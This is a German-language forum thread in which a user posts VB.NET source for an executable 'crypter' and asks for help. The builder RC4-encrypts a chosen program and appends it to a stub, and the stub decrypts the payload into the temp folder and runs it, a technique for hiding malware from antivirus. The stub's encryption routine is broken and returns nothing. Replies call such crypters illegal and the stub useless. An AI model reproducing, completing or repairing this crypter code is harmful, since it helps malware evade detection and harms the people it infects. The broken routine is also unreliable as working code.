Register for your free account! | Forgot your password?

Go Back   elitepvpers > Coders Den > .NET Languages
You last visited: Today at 13:24

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



Crypter mit vb.net

Discussion on Crypter mit vb.net within the .NET Languages forum part of the Coders Den category.

Reply
 
Old   #1
 
elite*gold: 0
Join Date: Dec 2010
Posts: 24
Received Thanks: 2
Crypter mit vb.net

Hallo EPVP !

Ich bin relativ neu in epvp und hoffe ich verstoße nicht gegen die regeln, aber ich habe eine frage... undzwar hab ich mir einen exe crypter source runtergeladen und wollte damit einen crypter zusammenstellen, klappt eigenlich schon ganz gut...

ich kann die datei öffnen und es wird eine neue erstellt, die ungefähr gleich groß wie die gecryptete ist nur das problem ist, dass ich die neue exe nicht ausführen kann, bzw. wenn ich sie doppelklicke wird sie dann zwar in meinen taskmanager angezeigt, aber mehr auch ned...

hoffe einer kann mir helfen.

hier der source:

Code:
Imports System.Text



Public Class Form1


    Const filesplit = "noffel"


    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        Dim TPath As String = System.IO.Path.GetTempPath
        Dim file1, files(), filesafter As String
        FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
        file1 = Space(LOF(1))
        FileGet(1, file1)
        FileClose(1)

        files = Split(file1, filesplit)
        filesafter = rc4(files(1), "grofl")
        FileOpen(5, TPath & "\Crypted.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(5, filesafter)
        FileClose(5)


        System.Diagnostics.Process.Start(TPath & "\Crypted.exe")
        Me.Close()

    End Sub

    Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
        Dim i As Integer = 0
        Dim j As Integer = 0
        Dim cipher As New StringBuilder
        Dim returnCipher As String = String.Empty
        Dim sbox As Integer() = New Integer(256) {}
        Dim key As Integer() = New Integer(256) {}
        Dim intLength As Integer = password.Length
        Dim a As Integer = 0
        While a <= 255
            Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
        End While


        Return returnCipher
    End Function










End Class


Code:
Imports System.Text



Public Class Form1


    Const filesplit = "noffel"


    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        Dim openf As New OpenFileDialog
        If openf.ShowDialog = Windows.Forms.DialogResult.OK Then
            textbox1.text = openf.FileName
        Else : Exit Sub

        End If
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Dim filein, filename, stub As String
        Dim lol As New SaveFileDialog
        If lol.ShowDialog = Windows.Forms.DialogResult.OK Then
            filename = lol.FileName
        Else : Exit Sub
        End If

        FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        filein = Space(LOF(1))
        FileGet(1, filein)
        FileClose(1)

        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(1))
        FileGet(1, stub)
        FileClose(1)

        FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, stub & filesplit & rc4(filein, "grofl"))


    End Sub

    Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
        Dim i As Integer = 0
        Dim j As Integer = 0
        Dim cipher As New StringBuilder
        Dim returnCipher As String = String.Empty
        Dim sbox As Integer() = New Integer(256) {}
        Dim key As Integer() = New Integer(256) {}
        Dim intLength As Integer = password.Length
        Dim a As Integer = 0
        While a <= 255
            Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
            key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
            sbox(a) = a
            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
        End While
        Dim x As Integer = 0
        Dim b As Integer = 0
        While b <= 255
            x = (x + sbox(b) + key(b)) Mod 256
            Dim tempSwap As Integer = sbox(b)
            sbox(b) = sbox(x)
            sbox(x) = tempSwap
            System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
        End While
        a = 1
        While a <= message.Length
            Dim itmp As Integer = 0
            i = (i + 1) Mod 256
            j = (j + sbox(i)) Mod 256
            itmp = sbox(i)
            sbox(i) = sbox(j)
            sbox(j) = itmp
            Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
            Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
            itmp = Asc(ctmp)
            Dim cipherby As Integer = itmp Xor k
            cipher.Append(Chr(cipherby))
            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
        End While
        returnCipher = cipher.ToString
        cipher.Length = 0
        Return returnCipher
    End Function


End Class
1. Stub
2. Crypter
johnnyderdepp is offline  
Old 12/16/2011, 16:02   #2
 
.KeRo's Avatar
 
elite*gold: 21
Join Date: Mar 2011
Posts: 734
Received Thanks: 130
Crypter für das Undetected machen von Viren ist Illegal.

#closerequest
.KeRo is offline  
Old 12/16/2011, 17:31   #3
 
elite*gold: 190
Join Date: Aug 2011
Posts: 795
Received Thanks: 188
Hallo,
die Stub ist total fürn ***** und wir niemals FUD Crypten.Ausserdem bist du hier im flaschen Forum..
business247 is offline  
Old 12/17/2011, 17:13   #4
 
.SkyneT.'s Avatar
 
elite*gold: 273
Join Date: Sep 2010
Posts: 1,831
Received Thanks: 786
Quote:
Originally Posted by .KeRo View Post
Crypter für das Undetected machen von Viren ist Illegal.

#closerequest
Kann ja sein das er es zum Schutz von einer Source verwenden will, was
ich aber auch nicht wirklich glauben würde

@TE
Bring dir lieber erst die Programmiersprache bei und befasse dich mit der
Materie bevor du an soetwas herangehst.
(Sonst wird die Datei vom Crypter mehr oder weniger nur zerstört)
.SkyneT. is offline  
Old 12/17/2011, 18:49   #5
 
elite*gold: 14
The Black Market: 108/0/1
Join Date: May 2011
Posts: 2,671
Received Thanks: 818
Quote:
Originally Posted by .KeRo View Post
Crypter für das Undetected machen von Viren ist Illegal.

#closerequest
Wo sagt er es dafür verwenden will?
Gibt auch andere Gründe.

Quote:
Originally Posted by business247 View Post
Hallo,
die Stub ist total fürn ***** und wir niemals FUD Crypten.Ausserdem bist du hier im flaschen Forum..
Das Forum ist richtig - Geht ja immerhin um .Net.

Aber wie business schon sagte, die Stub kannst du vergessen.
vwap is offline  
Thanks
1 User
Reply


Similar Threads Similar Threads
[Need] Crypter
08/16/2010 - General Coding - 4 Replies
Suche einen fähigen Coder der vielleicht nen Crypter Basteln kann. Nähere Infos gibt es per Pm. Die Arbeit wird nicht umsonst sein.



All times are GMT +1. The time now is 13:25.


Powered by vBulletin®
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2025 elitepvpers All Rights Reserved.